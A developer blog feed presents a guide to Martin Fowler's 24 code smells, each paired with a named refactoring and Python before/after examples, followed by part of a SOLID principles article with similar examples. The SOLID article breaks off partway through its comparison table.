DEV Community: Mahdi SHamlou | مهدی شاملو

Mahdi Shamlou | 24 Code Smells and How to Fix Them: A Complete Refactoring Guide

Mahdi SHamlou | مهدی شاملو — Fri, 10 Jul 2026 12:38:25 +0000

A while back I read Refactoring: Improving the Design of Existing Code (2nd Edition) by Martin Fowler, with Kent Beck. I'll say it plainly: it's one of the best software books I've read. Not because it teaches you a new language or framework, but because it gives you vocabulary — a name for the thing that's bugging you about a piece of code, and a precise, mechanical answer for what to do about it.

If you've followed this series, you already know the shape of the problem from the SOLID article: giant classes, endless elif chains, subclasses that throw NotImplementedError, fat interfaces, hardcoded infrastructure. Fowler's book is where most of that vocabulary actually comes from. This article walks through his full list of 24 code smells — what each one looks like in Python, and which named refactoring from his catalog fixes it.

One thing worth understanding before the list: in the book, "the catalog" isn't a single tool — it's the reference section of the book itself, roughly 60 individually named refactorings (Extract Function, Move Field, Replace Conditional with Polymorphism...), each written up the same way: a name, a motivation, and mechanics — the actual steps to do it safely. Chapter 3 diagnoses the smell. The catalog is where the treatment lives. That's the pairing this whole article is built around: smell → catalog entry → fixed.

Before I Read This Book

Before I actually sat down and read this book, my process looked like this: I'd open a file, feel that something was off — a function too long, a class doing too much, a chain of .get_x().get_y().get_z() calls — and I'd fix it. Not badly, usually. I'd split the function, move the logic somewhere that made more sense, flatten the nested ifs. It worked. But it was all intuition. I had no name for what I was looking at, no reason to expect a specific fix would work beyond "this feels better now," and no way to tell someone else "this is a Feature Envy problem" instead of just showing them the diff and hoping they saw what I saw.

What this book actually gives you isn't a new way to write code — it's the realization that the thing you were already sensing has a name, has been seen thousands of times before, and has an exact, repeatable answer. "This function is too long" becomes Long Function, and the fix isn't "break it up somehow," it's Extract Function, with defined steps. "This code reaches into another object's data too much" becomes Feature Envy, fixed with Move Function. It's the difference between a doctor saying "you don't look well" and a doctor saying "this is strep, here's the treatment." Same instinct that something's wrong — but one of them actually tells you what to do next, and lets you say it to someone else in one word instead of pointing at a screen.

That's the real value of turning intuition into a catalog: it's teachable, it's shareable across a team, and it stops the fix from depending on how much experience you personally happen to have that day.

Here's the full list, in the order the book presents them:

Mysterious Name
Duplicated Code
Long Function
Long Parameter List
Global Data
Mutable Data
Divergent Change
Shotgun Surgery
Feature Envy
Data Clumps
Primitive Obsession
Repeated Switches
Loops
Lazy Element
Speculative Generality
Temporary Field
Message Chains
Middle Man
Insider Trading
Large Class
Alternative Classes with Different Interfaces
Data Class
Refused Bequest
Comments

Let's go through them one at a time.

1. Mysterious Name

A function, variable, or class whose name tells you nothing about what it actually does. You end up opening the body every single time just to remember what it's for.

def proc(d, f):
    if f:
        return d * 0.9
    return d

What does proc process? What's d? What's f? You can't tell without reading the body — and every caller has to re-derive that same context.

Catalog fix: Rename Variable / Change Function Declaration. These two refactorings do exactly what they sound like — rename a variable, or rename (and reshape, if needed) a function's signature — but Fowler treats naming as an ongoing, first-class refactoring activity, not a one-time nicety you do at the start and never revisit. Every time you understand a piece of code a little better, that's the moment to rename it to reflect what you now know.

def apply_discount(price, is_member):
    if is_member:
        return price * 0.9
    return price

2. Duplicated Code

The exact same code structure showing up in more than one place. It's the most common smell in real codebases, and the most dangerous — because when the rule changes, you have to remember to update every copy, and you never do.

def invoice_total(order):
    tax = order.amount * 0.08
    return order.amount + tax

def report_total(sale):
    tax = sale.amount * 0.08
    return sale.amount + tax

Catalog fix: Extract Function. Pull the duplicated logic into one named function, and have every call site use that function instead of its own copy.

def with_tax(amount):
    return amount * 1.08

def invoice_total(order):
    return with_tax(order.amount)

def report_total(sale):
    return with_tax(sale.amount)

If the duplication is between sibling subclasses instead of free functions, the matching catalog entry is Pull Up Method — move the shared method up into the common parent class instead.

3. Long Function

def process_order(order):
    if not order.items:
        raise ValueError("Order has no items")

    discount = 0
    if order.customer.is_vip:
        discount = order.total * 0.1

    tax = (order.total - discount) * 0.08
    shipping = 5.99 if order.total < 50 else 0

    final_total = order.total - discount + tax + shipping
    order.final_total = final_total
    db.save(order)
    print(f"Order confirmed. Total: {final_total}")
    return final_total

Five unrelated jobs — validation, discount, tax, shipping, persistence, notification — all crammed into one function you have to read top to bottom to understand any single piece of.

Catalog fix: Extract Function. The same refactoring as Duplicated Code, applied for a different reason: instead of pulling out something that's repeated elsewhere, you pull out a self-contained chunk of a long function and give it its own name, purely so the outer function reads like a short list of steps.

def validate_order(order):
    if not order.items:
        raise ValueError("Order has no items")

def calculate_discount(order):
    return order.total * 0.1 if order.customer.is_vip else 0

def calculate_tax(amount):
    return amount * 0.08

def calculate_shipping(total):
    return 5.99 if total < 50 else 0

def process_order(order):
    validate_order(order)
    discount = calculate_discount(order)
    taxable = order.total - discount
    order.final_total = taxable + calculate_tax(taxable) + calculate_shipping(order.total)
    db.save(order)
    print(f"Order confirmed. Total: {order.final_total}")
    return order.final_total

4. Long Parameter List

def create_user(name, email, phone, street, city, state, zip_code, country):
    ...

create_user("Ana", "ana@x.com", "555-1234", "1 Main St", "Metropolis", "NY", "10001", "US")

At the call site, you have no idea which string is which without checking the signature.

Catalog fix: Introduce Parameter Object. Group the parameters that always travel together into one object, and pass that object instead of the individual values.

from dataclasses import dataclass

@dataclass
class Address:
    street: str
    city: str
    state: str
    zip_code: str
    country: str

def create_user(name, email, phone, address: Address):
    ...

If the caller already has the whole object and is needlessly pulling fields out of it to pass in, Fowler's related entry is Preserve Whole Object — just pass the object itself instead of pulling values out of it first.

5. Global Data

Mutable data reachable and changeable from anywhere in the program — module-level variables, singletons, anything any function can quietly reach in and modify.

current_discount = 0.1

def apply_discount(price):
    return price * (1 - current_discount)

# somewhere else, in a completely unrelated file:
current_discount = 0.5  # anyone can change this, from anywhere, at any time

Catalog fix: Encapsulate Variable. Wrap access to the global behind a function (a getter, and a setter if writes are genuinely needed), so every read and write goes through one place you can control, log, or validate.

_discount = 0.1

def get_discount():
    return _discount

def set_discount(value):
    global _discount
    _discount = value

def apply_discount(price):
    return price * (1 - get_discount())

6. Mutable Data

Data that changes in ways that are hard to trace — one part of the code mutates a value, and somewhere far away, unrelated code breaks because it expected the old value.

def apply_bonus(scores):
    scores[0] += 10  # mutates the caller's list in place
    return scores

original = [80, 90, 70]
result = apply_bonus(original)
# original is now also changed — surprising if the caller didn't expect that

Catalog fix: Encapsulate Variable, together with a general shift toward computing values through query methods instead of storing and mutating them directly. When you must have mutation, Fowler's advice is to keep the surface where it can happen as small and explicit as possible.

def apply_bonus(scores):
    return [scores[0] + 10] + scores[1:]  # returns a new list, doesn't mutate the input

original = [80, 90, 70]
result = apply_bonus(original)
# original is untouched

7. Divergent Change

One class that has to change for several unrelated reasons — a new report format, a new tax rule, and a new persistence detail, all touching the same file.

class OrderService:
    def save(self, order): ...          # changes if the database changes
    def calculate_tax(self, order): ...  # changes if tax law changes
    def generate_report(self, order): ...  # changes if reporting needs change

Catalog fix: Extract Class. Split the class along the different reasons it changes — one class per responsibility — so a tax-law change only ever touches the tax class.

class OrderRepository:
    def save(self, order): ...

class TaxCalculator:
    def calculate(self, order): ...

class OrderReportGenerator:
    def generate(self, order): ...

This is the same smell SRP addresses in the SOLID article — Fowler names it explicitly in this chapter.

8. Shotgun Surgery

The mirror image of Divergent Change: one conceptual change forces you to make small edits across many different files.

# pricing.py
TAX_RATE = 0.08

# invoice.py
tax = amount * 0.08  # duplicated rate

# report.py
total = sales * 1.08  # same rate, third form

Change the tax rate, and you have to hunt across three files, hoping you found every copy.

Catalog fix: Move Function / Move Field. Pull the scattered, related pieces of logic back together into one place, so the next change touches one file instead of three.

# tax.py
class TaxPolicy:
    RATE = 0.08

    @classmethod
    def apply(cls, amount):
        return amount * (1 + cls.RATE)

9. Feature Envy

class InvoicePrinter:
    def print_invoice(self, order):
        name = order.customer.name
        discount = order.customer.loyalty_tier * 0.02
        address = order.customer.address.format()
        print(f"{name} ({discount}% off)\n{address}")

print_invoice reaches into order.customer three times — it's more interested in Customer's data than its own.

Catalog fix: Move Function. Relocate the method to live on the class whose data it actually uses.

class Customer:
    def invoice_summary(self):
        discount = self.loyalty_tier * 0.02
        return f"{self.name} ({discount}% off)\n{self.address.format()}"

class InvoicePrinter:
    def print_invoice(self, order):
        print(order.customer.invoice_summary())

10. Data Clumps

def create_user(name, email, street, city, state, zip_code): ...
def update_address(user, street, city, state, zip_code): ...

street, city, state, zip_code show up together, everywhere. That's the tell: if you'd delete one, the others stop making sense alone — they're one concept wearing four names.

Catalog fix: Extract Class (or Introduce Parameter Object if it's specifically a parameter list problem, as in the example above).

from dataclasses import dataclass

@dataclass
class Address:
    street: str
    city: str
    state: str
    zip_code: str

def create_user(name, email, address: Address): ...
def update_address(user, address: Address): ...

11. Primitive Obsession

Using raw strings, ints, and floats for things that have their own rules and behavior — money, percentages, phone numbers, date ranges — instead of small dedicated types.

def apply_discount(price: float, percent: float) -> float:
    return price * (1 - percent / 100)

apply_discount(100, 150)  # no validation — silently returns a negative price

Catalog fix: Replace Primitive with Object. Wrap the primitive in a small class that owns its own validation and behavior.

class Percentage:
    def __init__(self, value: float):
        if not 0 <= value <= 100:
            raise ValueError("Invalid percentage")
        self.value = value

    def apply_to(self, amount: float) -> float:
        return amount * (1 - self.value / 100)

Percentage(150)  # raises immediately, instead of failing silently downstream

12. Repeated Switches

The same if/elif (or switch) chain, checking the same condition, copy-pasted in multiple places.

def calculate_pay(employee):
    if employee.type == "engineer":
        return employee.base_salary
    elif employee.type == "manager":
        return employee.base_salary * 1.2

def calculate_bonus(employee):
    if employee.type == "engineer":
        return 500
    elif employee.type == "manager":
        return 1500
# add a new employee type, and you must find and update every one of these chains

Catalog fix: Replace Conditional with Polymorphism. Turn each branch into a subclass method, so a new type means one new class instead of N updated chains.

from abc import ABC, abstractmethod

class Employee(ABC):
    def __init__(self, base_salary):
        self.base_salary = base_salary

    @abstractmethod
    def calculate_pay(self): ...
    @abstractmethod
    def calculate_bonus(self): ...

class Engineer(Employee):
    def calculate_pay(self):
        return self.base_salary
    def calculate_bonus(self):
        return 500

class Manager(Employee):
    def calculate_pay(self):
        return self.base_salary * 1.2
    def calculate_bonus(self):
        return 1500

13. Loops

Old-style manual iteration, where a pipeline (map/filter/reduce style) would say the intent more directly.

result = []
for user in users:
    if user.active:
        result.append(user.email)

Catalog fix: Replace Loop with Pipeline. Express the same operation as a chain of filter/map-style steps.

result = [user.email for user in users if user.active]

14. Lazy Element

A function or class that no longer earns its keep — created for a reason that no longer applies, now just forwarding to something else with no logic of its own.

class UserValidator:
    def validate(self, user):
        return basic_email_check(user.email)  # the whole class does nothing but this

Catalog fix: Inline Function / Inline Class / Collapse Hierarchy. Remove the unnecessary layer and let callers use the underlying thing directly.

def validate_user(user):
    return basic_email_check(user.email)

15. Speculative Generality

Abstraction, hooks, and parameters built for a future requirement that hasn't arrived — and might never.

class ReportGenerator:
    def generate(self, data, format="pdf", plugin_hooks=None, future_export_target=None):
        # only format="pdf" has ever actually been called, in two years
        ...

Catalog fix: Collapse Hierarchy, Inline Function, Remove Dead Code, and simply deleting unused parameters — pruning the code back down to what's actually used today, not what might be needed someday.

class ReportGenerator:
    def generate(self, data):
        return render_pdf(data)

16. Temporary Field

An object field that's only ever set and used inside one specific method, and sits empty the rest of the time — confusing to anyone reading the class from outside.

class OrderProcessor:
    def __init__(self):
        self.temp_discount = None  # only meaningful during process()

    def process(self, order):
        self.temp_discount = order.total * 0.1
        return order.total - self.temp_discount

Catalog fix: Extract Class. Pull the field and the method that uses it into their own small object, so the temporary state doesn't leak into the rest of the class's lifetime.

class DiscountCalculation:
    def __init__(self, order):
        self.discount = order.total * 0.1

    def final_total(self, order):
        return order.total - self.discount

class OrderProcessor:
    def process(self, order):
        return DiscountCalculation(order).final_total(order)

17. Message Chains

color = order.get_customer().get_profile().get_settings().get_theme().get_color()

Four dots deep — if any link in that chain ever changes, every caller like this one breaks.

Catalog fix: Hide Delegate. Wrap the chain behind one method on the object you actually start from.

class Customer:
    def get_theme_color(self):
        return self.profile.settings.theme.get_color()

color = order.get_customer().get_theme_color()

18. Middle Man

The opposite extreme: a class where most methods just forward, one-for-one, to another object, adding no logic of their own.

class OrderFacade:
    def __init__(self, order_service):
        self.order_service = order_service

    def create_order(self, data):
        return self.order_service.create_order(data)
    # ...every other method, forwarded identically

Catalog fix: Remove Middle Man. Let callers talk to the real object directly instead of going through a layer that adds nothing.

order_service.create_order(data)

19. Insider Trading

Two modules that reach into each other's internals too much, trading data back and forth in ways that create tight, hidden coupling — beyond ordinary collaboration.

class Warehouse:
    def __init__(self):
        self._stock = {}

class ShippingService:
    def ship(self, warehouse: Warehouse, item):
        warehouse._stock[item] -= 1  # reaching directly into Warehouse's private data

Catalog fix: Move Function / Move Field, reducing how much crosses the boundary, or Hide Delegate if the interaction should be mediated through a proper method instead of direct access.

class Warehouse:
    def __init__(self):
        self._stock = {}

    def remove_stock(self, item):
        self._stock[item] -= 1

class ShippingService:
    def ship(self, warehouse: Warehouse, item):
        warehouse.remove_stock(item)

20. Large Class

A class trying to do too much — recognizable by an unreasonably long list of fields and methods that don't obviously belong together.

class UserService:
    def create_user(self): ...
    def validate_email(self): ...
    def send_welcome_email(self): ...
    def log_activity(self): ...
    def generate_invoice(self): ...
    def calculate_tax(self): ...

Catalog fix: Extract Class, splitting the fields and methods that change together into their own smaller classes (or Extract Superclass / Replace Type Code with Subclasses if the bloat comes from handling several variants inside one class).

class UserValidator: ...
class WelcomeEmailSender: ...
class ActivityLogger: ...
class InvoiceService: ...

21. Alternative Classes with Different Interfaces

Two classes doing the same job, but shaped differently enough that you can't swap one for the other without extra glue code at every call site.

class MySQLClient:
    def fetch_row(self, query): ...

class MongoClient:
    def find_document(self, query): ...
# functionally the same job, but callers can't treat them interchangeably

Catalog fix: Change Function Declaration and Move Function, aligning the two interfaces until they can share one abstraction — often followed by Extract Superclass.

class MySQLClient:
    def fetch(self, query): ...

class MongoClient:
    def fetch(self, query): ...
# both now expose the same shape, and can be swapped behind a common interface

22. Data Class

A class that's all getters/setters and public fields, with none of the behavior that actually operates on that data living nearby.

class Order:
    def __init__(self, total, discount):
        self.total = total
        self.discount = discount
# meanwhile, the discount math lives scattered across three unrelated files

Catalog fix: Move Function, bringing the relevant behavior back onto the class, plus Encapsulate Record / Remove Setting Method to stop letting every caller mutate it freely from the outside.

class Order:
    def __init__(self, total, discount):
        self._total = total
        self._discount = discount

    def final_total(self):
        return self._total - self._discount

23. Refused Bequest

A subclass that inherits from a parent but only wants part of what it inherits — overriding methods to throw, or quietly breaking the parent's contract.

class Rectangle:
    def set_width(self, width):
        self.width = width
    def set_height(self, height):
        self.height = height
    def area(self):
        return self.width * self.height

class Square(Rectangle):
    def set_width(self, width):
        self.width = self.height = width  # silently breaks Rectangle's contract

This is exactly the Square/Rectangle example from the SOLID article's LSP section.

Catalog fix: Push Down Method / Push Down Field (move the part the subclass doesn't want out of the shared parent), or Replace Subclass with Delegate if inheritance was the wrong relationship to begin with.

class Shape:
    def area(self): ...

class Rectangle(Shape):
    def __init__(self, width, height):
        self.width, self.height = width, height
    def area(self):
        return self.width * self.height

class Square(Shape):
    def __init__(self, side):
        self.side = side
    def area(self):
        return self.side ** 2

24. Comments

The last smell in the chapter, and the most misunderstood one. Fowler is explicit that comments themselves aren't the problem — a comment used as a deodorant, covering up confusing code instead of fixing it, is.

def calc(o):
    # check if order total is over 1000 and customer is vip, then apply 10% off
    if o.total > 1000 and o.customer.is_vip:
        return o.total * 0.9
    return o.total

If you need a comment to explain what a block of code does, that's usually a sign the code itself should say it.

Catalog fix: Extract Function. Turn the commented block into a well-named function, and let the name carry the explanation the comment used to.

def is_eligible_for_vip_discount(order):
    return order.total > 1000 and order.customer.is_vip

def calc(order):
    if is_eligible_for_vip_discount(order):
        return order.total * 0.9
    return order.total

A comment explaining why — a business reason, a workaround for someone else's bug, a warning about something non-obvious — is worth keeping. Fowler isn't anti-comment; he's anti-comment-as-substitute-for-clarity.

Smell → Catalog Quick Reference

Smell	Catalog Fix
Mysterious Name	Rename Variable / Change Function Declaration
Duplicated Code	Extract Function / Pull Up Method
Long Function	Extract Function
Long Parameter List	Introduce Parameter Object / Preserve Whole Object
Global Data	Encapsulate Variable
Mutable Data	Encapsulate Variable
Divergent Change	Extract Class
Shotgun Surgery	Move Function / Move Field
Feature Envy	Move Function
Data Clumps	Extract Class / Introduce Parameter Object
Primitive Obsession	Replace Primitive with Object
Repeated Switches	Replace Conditional with Polymorphism
Loops	Replace Loop with Pipeline
Lazy Element	Inline Function / Inline Class / Collapse Hierarchy
Speculative Generality	Collapse Hierarchy / Inline Function / Remove Dead Code
Temporary Field	Extract Class
Message Chains	Hide Delegate
Middle Man	Remove Middle Man
Insider Trading	Move Function / Move Field / Hide Delegate
Large Class	Extract Class / Extract Superclass
Alternative Classes, Different Interfaces	Change Function Declaration / Move Function
Data Class	Move Function / Encapsulate Record
Refused Bequest	Push Down Method / Push Down Field / Replace Subclass with Delegate
Comments	Extract Function

Key Takeaways

Every smell in this list is a symptom, never the disease itself — it just tells you where to look
Every fix is a named, mechanical refactoring from the book's catalog, not a vague "clean it up"
Most of these smells map directly onto a SOLID violation — SRP shows up as Divergent Change and Large Class, LSP shows up as Refused Bequest, OCP shows up as Repeated Switches
The single most-used fix across the whole list is Extract Function — if in doubt, that's usually the first thing to reach for
Not every fix requires a class — several of these (Loops, Comments, Mutable Data) are fixed with nothing more than a better function

If you take one thing from this book, take this: you don't need to memorize the whole catalog before you start. You just need to notice the smell, look up its entry, and apply it — one small, safe step at a time.

Design Patterns & Architecture Series

Creational Patterns — How to create objects properly
Structural Patterns - Part 1 — Adapter, Bridge, Composite, Decorator
Structural Patterns - Part 2 — Facade, Flyweight, Proxy
Behavioral Patterns — How objects communicate
OOP in Python — The foundations everything else builds on
SOLID Principles — The reasoning behind every pattern above
24 Code Smells and How to Fix Them (This Article) — Fowler's Refactoring, smell by smell

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahid Shamlou | SOLID Principles in Python (2026): The Foundation Behind Every Design Pattern

Mahdi SHamlou | مهدی شاملو — Sun, 05 Jul 2026 17:45:09 +0000

Mahdi Shamlou here.

Across this whole series — OOP, Design Patterns, Architecture — one set of ideas kept showing up without ever getting its own spotlight: SOLID.

Every "bad code" example in my Design Patterns articles violated one of these five principles. Every pattern I showed you was a solution to one of these five principles. SOLID isn't a sixth thing to learn — it's the reasoning underneath everything you've already learned.

I've seen:

A UserService class that handles validation, database access, email sending, and logging — all in one class
A reports module where adding a new report format means editing five existing functions
A subclass that throws NotImplementedError on a method its parent promises to support
Interfaces so bloated that classes implement six methods just to use one
Business logic directly importing and calling a specific database driver

Each of these has a name. Let's go through them.

What Is SOLID?

SOLID is five principles for writing object-oriented code that's easy to maintain and extend, coined by Robert C. Martin ("Uncle Bob"):

S — Single Responsibility Principle
O — Open/Closed Principle
L — Liskov Substitution Principle
I — Interface Segregation Principle
D — Dependency Inversion Principle

None of these are Python-specific — they came from the Java/C++ world — but they apply just as much here, sometimes in a more relaxed form thanks to duck typing.

1. Single Responsibility Principle (SRP)

A class should have one, and only one, reason to change.

"Responsibility" here means "reason to change" — not "does one thing" in a trivial sense.

Bad code (multiple responsibilities crammed into one class)

class UserService:
    def __init__(self, db_connection):
        self.db = db_connection

    def create_user(self, name, email):
        # Validation
        if "@" not in email:
            raise ValueError("Invalid email")

        # Persistence
        self.db.execute("INSERT INTO users (name, email) VALUES (?, ?)", (name, email))

        # Notification
        print(f"Sending welcome email to {email}")

        # Logging
        with open("app.log", "a") as f:
            f.write(f"User created: {name}\n")

# This class changes if validation rules change, if the database changes,
# if the email provider changes, or if the logging format changes.
# Four unrelated reasons to touch the same class.

Good code (one responsibility per class)

class EmailValidator:
    def validate(self, email):
        if "@" not in email:
            raise ValueError("Invalid email")

class UserRepository:
    def __init__(self, db_connection):
        self.db = db_connection

    def save(self, name, email):
        self.db.execute("INSERT INTO users (name, email) VALUES (?, ?)", (name, email))

class WelcomeEmailSender:
    def send(self, email):
        print(f"Sending welcome email to {email}")

class Logger:
    def log(self, message):
        with open("app.log", "a") as f:
            f.write(f"{message}\n")

class UserService:
    def __init__(self, repository, validator, mailer, logger):
        self.repository = repository
        self.validator = validator
        self.mailer = mailer
        self.logger = logger

    def create_user(self, name, email):
        self.validator.validate(email)
        self.repository.save(name, email)
        self.mailer.send(email)
        self.logger.log(f"User created: {name}")

# UserService now orchestrates — it doesn't implement everything itself.
# Change the email provider? Only WelcomeEmailSender changes.

Pros:

Each class is small, testable, and easy to understand in isolation
Changes are localized — you know exactly which class to touch
Classes can be reused independently (the Logger works for anything, not just users)

Cons:

More classes and files to navigate for simple features
Can be over-applied — splitting a genuinely cohesive two-line method into three classes is not SRP, it's noise

My Take:

SRP doesn't mean "one method per class." It means "one reason to change." If validation rules and database schema change independently of each other, they're two responsibilities, even if today the code for both fits in five lines.

The key insight: If you can't name the single responsibility of a class in one sentence without using the word "and," it has more than one.

One more thing worth knowing: a "reason to change" usually traces back to a different person or team who'd request it — the marketing team wants the welcome email reworded, the DBA wants the schema changed, the compliance team wants the log format changed. If two changes always come from the same stakeholder, they might genuinely be one responsibility. If they come from different stakeholders, split them — even if today the code for both fits in five lines.

2. Open/Closed Principle (OCP)

Software entities should be open for extension, but closed for modification. In other words, new requirements should usually mean writing new code—not rewriting old, working code.

You should be able to add new behavior without editing existing, working code.

Bad code (must modify existing code for every new type)

class DiscountCalculator:
    def calculate(self, customer_type, amount):
        if customer_type == "regular":
            return amount
        elif customer_type == "premium":
            return amount * 0.9
        elif customer_type == "vip":
            return amount * 0.8
        # Adding a new customer type means editing this method again
        # and risking breaking the existing branches.

Good code (extend without touching existing code)

from abc import ABC, abstractmethod

class DiscountStrategy(ABC):
    @abstractmethod
    def apply(self, amount):
        pass

class RegularDiscount(DiscountStrategy):
    def apply(self, amount):
        return amount

class PremiumDiscount(DiscountStrategy):
    def apply(self, amount):
        return amount * 0.9

class VipDiscount(DiscountStrategy):
    def apply(self, amount):
        return amount * 0.8

class DiscountCalculator:
    def calculate(self, strategy: DiscountStrategy, amount):
        return strategy.apply(amount)

# New customer type? Add a new class. DiscountCalculator never changes.
class StudentDiscount(DiscountStrategy):
    def apply(self, amount):
        return amount * 0.85

calc = DiscountCalculator()
print(calc.calculate(StudentDiscount(), 100))  # 85.0

This is the Strategy pattern in action — OCP is why Strategy exists.

Pros:

New functionality doesn't risk breaking existing, tested code
Encourages composition and polymorphism over long conditionals
Makes code more predictable to extend over time

Cons:

Requires anticipating that extension points are needed — premature abstraction is a real risk
Adds indirection (interfaces, abstract classes) that can be overkill for code that truly never changes

My Take:

OCP doesn't mean "abstract everything, just in case." It means: once you notice a piece of code keeps growing new elif branches, that's the signal to introduce an extension point — not before.

The key insight: Don't design for hypothetical future requirements. Refactor toward OCP the moment real requirements start repeating the same conditional shape.

One clarification, since this is the most misread principle on the list: OCP does not mean "never touch a file again." It means the abstraction (DiscountStrategy) stays closed once it's stable, while new implementations (StudentDiscount) extend it freely. DiscountCalculator itself is still allowed to change — just not every time a new customer type shows up.

3. Liskov Substitution Principle (LSP)

Subtypes must be substitutable for their base types without breaking the program.

If Bird promises fly(), every subclass of Bird must be able to actually fly — or Bird shouldn't promise it.

Bad code (subclass breaks the parent's contract)

class Rectangle:
    def __init__(self, width, height):
        self.width = width
        self.height = height

    def set_width(self, width):
        self.width = width

    def set_height(self, height):
        self.height = height

    def area(self):
        return self.width * self.height

class Square(Rectangle):
    """A square IS a rectangle... right?"""
    def set_width(self, width):
        self.width = width
        self.height = width  # forces height to match — breaks the parent's behavior

    def set_height(self, height):
        self.width = height
        self.height = height

def resize_and_check(rect: Rectangle):
    rect.set_width(5)
    rect.set_height(10)
    assert rect.area() == 50, "Area should be width * height"

resize_and_check(Rectangle(2, 2))  # passes
resize_and_check(Square(2, 2))     # AssertionError! area is 100, not 50

# Square LOOKS like a valid Rectangle subclass, but it silently changes behavior
# in a way that breaks code written against the Rectangle contract.

Good code (don't force an "is-a" that isn't behaviorally true)

from abc import ABC, abstractmethod

class Shape(ABC):
    @abstractmethod
    def area(self):
        pass

class Rectangle(Shape):
    def __init__(self, width, height):
        self.width = width
        self.height = height

    def area(self):
        return self.width * self.height

class Square(Shape):
    def __init__(self, side):
        self.side = side

    def area(self):
        return self.side ** 2

# Square is no longer pretending to be a mutable Rectangle.
# Both honor the same Shape contract without hidden surprises.

Pros:

Code that works with a base type can safely work with any subtype, no surprises
Prevents subtle bugs where a subclass "technically" fits but behaves inconsistently
Encourages thinking about behavior, not just structural similarity, when designing hierarchies

Cons:

Requires genuinely thinking through behavioral contracts, not just "is this conceptually a subtype?"
Sometimes means avoiding a tempting but flawed inheritance relationship (like Square/Rectangle)

My Take:

LSP is the principle that catches "well it's technically an is-a relationship" mistakes. The classic Square/Rectangle problem exists precisely because mathematical is-a and behavioral is-a aren't the same thing. Trust behavior over taxonomy.

The key insight: If using a subclass anywhere the parent is expected requires the caller to know which subclass they got, LSP is already broken.

4. Interface Segregation Principle (ISP)

Clients shouldn't be forced to depend on methods they don't use.

Many small, focused interfaces beat one large, general-purpose one.

Bad code (a bloated interface forces irrelevant methods on everyone)

from abc import ABC, abstractmethod

class Worker(ABC):
    @abstractmethod
    def work(self):
        pass

    @abstractmethod
    def eat(self):
        pass

    @abstractmethod
    def sleep(self):
        pass

class HumanWorker(Worker):
    def work(self):
        print("Human working")

    def eat(self):
        print("Human eating lunch")

    def sleep(self):
        print("Human sleeping")

class RobotWorker(Worker):
    def work(self):
        print("Robot working")

    def eat(self):
        raise NotImplementedError("Robots don't eat!")  # forced to implement anyway

    def sleep(self):
        raise NotImplementedError("Robots don't sleep!")

# RobotWorker is forced to implement methods that make no sense for it,
# just because they were bundled into one fat interface.

Good code (small, role-specific interfaces)

from abc import ABC, abstractmethod

class Workable(ABC):
    @abstractmethod
    def work(self):
        pass

class Eatable(ABC):
    @abstractmethod
    def eat(self):
        pass

class Sleepable(ABC):
    @abstractmethod
    def sleep(self):
        pass

class HumanWorker(Workable, Eatable, Sleepable):
    def work(self):
        print("Human working")

    def eat(self):
        print("Human eating lunch")

    def sleep(self):
        print("Human sleeping")

class RobotWorker(Workable):
    def work(self):
        print("Robot working")

# RobotWorker only implements what actually applies to it.

Pros:

No class is forced to implement irrelevant, meaningless methods
Interfaces stay focused and easier to understand
Changes to one capability (e.g., Sleepable) don't ripple to classes that don't use it

Cons:

More interfaces to define and track
Can fragment a genuinely cohesive interface if split too aggressively

My Take:

Python's duck typing makes ISP violations less common than in Java, since you're rarely forced to implement an entire interface just to use one method. But it still bites you with ABC hierarchies and Protocol definitions — keep them narrow.

The key insight: If implementing an interface means writing raise NotImplementedError for half its methods, the interface is too big.

A more modern-Python way to write this: instead of ABC, you can use typing.Protocol for structural typing — a class satisfies Workable just by having a matching work() method, with no explicit inheritance required:

from typing import Protocol

class Workable(Protocol):
    def work(self) -> None: ...

class RobotWorker:
    def work(self):
        print("Robot working")

# RobotWorker satisfies Workable automatically — no "class RobotWorker(Workable)" needed.

This fits ISP even better than ABC in many cases, since nothing is forced onto a class it never explicitly agreed to.

5. Dependency Inversion Principle (DIP)

High-level modules shouldn't depend on low-level modules. Both should depend on abstractions.

This is the principle behind Hexagonal Architecture from the previous article — business logic shouldn't know about specific frameworks or databases.

Bad code (high-level logic tightly coupled to a low-level detail)

class MySQLDatabase:
    def save(self, data):
        print(f"Saving {data} to MySQL")

class OrderService:
    def __init__(self):
        self.db = MySQLDatabase()  # hardcoded dependency on a concrete class

    def place_order(self, order):
        self.db.save(order)

# OrderService can NEVER use a different database without editing this class.
# Testing OrderService also means testing against a real (or mocked) MySQLDatabase.

Good code (depend on an abstraction, inject the concrete implementation)

from abc import ABC, abstractmethod

class Database(ABC):
    @abstractmethod
    def save(self, data):
        pass

class MySQLDatabase(Database):
    def save(self, data):
        print(f"Saving {data} to MySQL")

class PostgresDatabase(Database):
    def save(self, data):
        print(f"Saving {data} to Postgres")

class InMemoryDatabase(Database):
    """A fake database — perfect for tests, no real DB needed"""
    def __init__(self):
        self.storage = []

    def save(self, data):
        self.storage.append(data)

class OrderService:
    def __init__(self, db: Database):
        self.db = db  # depends on the abstraction, not a specific database

    def place_order(self, order):
        self.db.save(order)

# Production
service = OrderService(PostgresDatabase())
service.place_order("Order #123")

# Testing — no real database needed at all
test_service = OrderService(InMemoryDatabase())
test_service.place_order("Test Order")

Pros:

Swapping implementations (MySQL → Postgres → in-memory for tests) requires zero changes to business logic
Massively improves testability — inject fakes instead of hitting real infrastructure
Decouples the "what" (business rules) from the "how" (specific tools)

Cons:

Adds an abstraction layer even when you're confident you'll never swap the implementation
Can lead to "interface for everything" overkill in small codebases

My Take:

DIP is the principle behind dependency injection, and it's why your OrderService should never do from mysql_driver import connect directly. This is the exact idea Hexagonal Architecture builds an entire system-level structure around — DIP is just that idea applied one class at a time.

The key insight: Business logic should define the interface it needs; infrastructure should implement that interface — never the other way around.

Notice where Database is defined: conceptually, it belongs next to OrderService, not next to MySQLDatabase. The high-level module owns the contract; the low-level module just agrees to honor it. That's the "inversion" in Dependency Inversion — without it, you'd expect business logic to depend on infrastructure, but here infrastructure depends on a contract the business logic defines.

Comparison Table

Principle	One-Line Rule	What It Prevents
SRP	One reason to change per class	God classes doing five unrelated jobs
